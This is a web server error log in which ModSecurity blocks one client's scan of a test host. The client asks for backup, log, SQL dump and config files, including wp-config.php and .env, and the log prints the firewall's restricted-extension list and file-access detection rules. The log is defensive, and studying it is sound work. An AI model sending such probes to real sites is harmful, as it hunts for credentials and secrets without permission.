[Sun Jun 29 20:20:20.096096 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kQAAAAY&quot;]
[Sun Jun 29 20:20:20.137363 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kwAAAAY&quot;]
[Sun Jun 29 20:20:20.137689 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kwAAAAY&quot;]
[Sun Jun 29 20:20:20.137864 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kwAAAAY&quot;]
[Sun Jun 29 20:20:20.178899 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lQAAAAY&quot;]
[Sun Jun 29 20:20:20.179249 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lQAAAAY&quot;]
[Sun Jun 29 20:20:20.179455 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lQAAAAY&quot;]
[Sun Jun 29 20:20:20.220743 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lwAAAAY&quot;]
[Sun Jun 29 20:20:20.221115 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lwAAAAY&quot;]
[Sun Jun 29 20:20:20.221302 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6lwAAAAY&quot;]
[Sun Jun 29 20:20:20.286930 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6mgAAAAY&quot;]
[Sun Jun 29 20:20:20.287309 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6mgAAAAY&quot;]
[Sun Jun 29 20:20:20.287506 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6mgAAAAY&quot;]
[Sun Jun 29 20:20:24.562153 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6nwAAAAY&quot;]
[Sun Jun 29 20:20:24.562528 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6nwAAAAY&quot;]
[Sun Jun 29 20:20:24.562707 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6nwAAAAY&quot;]
[Sun Jun 29 20:20:24.582651 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oAAAAAY&quot;]
[Sun Jun 29 20:20:24.583010 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oAAAAAY&quot;]
[Sun Jun 29 20:20:24.583182 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oAAAAAY&quot;]
[Sun Jun 29 20:20:24.677196 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /core/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oQAAAAY&quot;]
[Sun Jun 29 20:20:24.677429 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oQAAAAY&quot;]
[Sun Jun 29 20:20:24.677605 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6oQAAAAY&quot;]
[Sun Jun 29 20:20:24.699570 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6ogAAAAY&quot;]
[Sun Jun 29 20:20:24.699748 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /core/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6ogAAAAY&quot;]
[Sun Jun 29 20:20:24.699985 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6ogAAAAY&quot;]
[Sun Jun 29 20:20:24.700164 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;aGGD6HN4YZunzJSJCzJ6ogAAAAY&quot;]
[Sun Jun 29 20:20:29.436516 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6owAAAAY&quot;]
[Sun Jun 29 20:20:29.436751 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6owAAAAY&quot;]
[Sun Jun 29 20:20:29.436954 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6owAAAAY&quot;]
